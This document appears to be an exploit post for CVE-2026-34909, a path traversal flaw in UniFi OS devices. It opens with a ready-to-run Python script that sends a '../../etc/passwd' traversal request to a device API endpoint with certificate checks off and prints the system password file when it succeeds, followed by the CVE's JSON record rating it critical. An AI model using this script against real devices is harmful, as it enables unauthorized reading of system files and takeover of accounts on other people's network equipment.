CVE-2026-34909

import requests # Target URL of the vulnerable UniFi OS device target_url = "https://<target-ip>/api/status" # Malicious payload utilizing path traversal to read /etc/passwd # Attempting to escape the web root traversal_payload = "?file=../../../../../../../../etc/passwd" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Send the malicious request response = requests.get(target_url + traversal_payload, headers=headers, verify=False, timeout=10) # Check if the response contains root user entry indicating successful exploitation if response.status_code == 200 and "root:x:0:0" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Content of /etc/passwd:") print(response.text) else: print("[-] Exploit failed or target is patched.") print("Status Code:", response.status_code) except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

{"cve": {"id": "CVE-2026-34909", "sourceIdentifier": "[email protected]", "published": "2026-05-22T02:16:34.390", "lastModified": "2026-05-22T02:16:34.390", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A malicious actor with access to the network could exploit a Path Traversal vulnerability found in UniFi OS devices to access files on the underlying system that could be manipulated to access an underlying account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b", "source": "[email protected]"}]}}